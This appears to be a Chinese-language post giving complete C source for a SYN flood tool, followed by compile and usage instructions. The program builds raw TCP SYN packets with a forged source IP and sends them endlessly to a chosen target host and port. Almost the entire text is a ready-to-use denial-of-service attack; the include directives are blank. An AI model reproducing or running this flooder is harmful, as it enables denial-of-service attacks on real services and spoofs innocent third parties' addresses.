vi syn.c                (插入如下内容)

/* simple syn flooder !!! */

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

unsigned short in_cksum(unsigned short *ptr,int nbytes);

int synflooding();

void sigint(int signo);

struct sockaddr_in target;

struct sockaddr_in pesudo;

int rawsock;

unsigned short in_cksum(unsigned short *addr, int len)

{

int sum=0;

unsigned short res=0;

while( len > 1)  {

sum += *addr++;

len -=2;

}

if( len == 1) {

*((unsigned char *)(&res))=*((unsigned char *)addr);

sum += res;

}

sum = (sum >>16) + (sum & 0xffff);

sum += (sum >>16) ;

res = ~sum;

return res;

}

void sigint(int signo)

{

printf("catch SIGINT\n");

close(rawsock);

exit(0);

}

int main(int argc, char *argv[])

{

if( argc != 4) {

printf("usage:%s psuedoip attackip attackport\n", argv[0]);

exit(1);

}

if( inet_aton(argv[1], &pesudo.sin_addr) == 0) {

printf("bad ip address:%s\n", argv[1]);

exit(1);

}

if( inet_aton(argv[2], &target.sin_addr) == 0) {

printf("bad ip address:%s\n", argv[2]);

exit(1);

}

target.sin_port=htons(atoi(argv[3]));

signal(SIGINT, sigint);

synflooding();

exit(0);

}

int synflooding()

{

int i, j, k;

struct packet{

struct iphdr ip;

struct tcphdr tcp;

}packet;

struct pseudo_header{           /* For TCP header checksum */

unsigned int source_address;

unsigned int dest_address;

unsigned char placeholder;

unsigned char protocol;

unsigned short tcp_length;

struct tcphdr tcp;

}pseudo_header;

bzero(&packet, sizeof(packet));

bzero(&pseudo_header, sizeof(pseudo_header));

if((rawsock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {

perror("socket()");

exit(1);

}

packet.tcp.dest=target.sin_port; /* 16-bit Destination port */

packet.tcp.ack_seq=0; /* 32-bit Acknowledgement Number */

packet.tcp.doff=5; /* Data offset */

packet.tcp.res1=0; /* reserved */

/* packet.tcp.res2=0; reserved */

packet.tcp.urg=0; /* Urgent offset valid flag */

packet.tcp.ack=0; /* Acknowledgement field valid flag */

packet.tcp.psh=0; /* Push flag */

packet.tcp.rst=0; /* Reset flag */

packet.tcp.syn=1; /* Synchronize sequence numbers flag */

packet.tcp.fin=0; /* Finish sending flag */

packet.tcp.window=htons(242); /* 16-bit Window size */

packet.tcp.urg_ptr=0; /* 16-bit urgent offset */

packet.ip.version=4; /* 4-bit Version */

packet.ip.ihl=5; /* 4-bit Header Length */

packet.ip.tos=0; /* 8-bit Type of service */

packet.ip.tot_len=htons(40); /* 16-bit Total length */

packet.ip.id=getpid(); /* 16-bit ID field */

packet.ip.frag_off=0; /* 13-bit Fragment offset */

packet.ip.ttl=255; /* 8-bit Time To Live */

packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */

packet.ip.check=0; /* 16-bit Header checksum (filled in below) */

packet.ip.saddr=pesudo.sin_addr.s_addr; /* 32-bit Source Address */

packet.ip.daddr=target.sin_addr.s_addr; /* 32-bit Destination Address */

packet.ip.check=in_cksum((unsigned short *)&packet.ip,20);

while(1) {

/* set src port and ISN */

packet.tcp.source=htons(1025+rand()%60000);

packet.tcp.seq=761013+rand()%100000;

packet.tcp.check=0;

pseudo_header.source_address=packet.ip.saddr;

pseudo_header.dest_address=packet.ip.daddr;

pseudo_header.placeholder=0;

pseudo_header.protocol=IPPROTO_TCP;

pseudo_header.tcp_length=htons(20);

bcopy((char *)&packet.tcp,(char *)&pseudo_header.tcp,20);

packet.tcp.check=in_cksum((unsigned short *)&pseudo_header,32);

sendto(rawsock,&packet,40,0,

(struct sockaddr *)&target,sizeof(target));

}

return 0;

}

gcc -o syn syn.c

用法：

usage: ./s psuedoip attackip attackport

./syn 伪装IP ***IP ***端口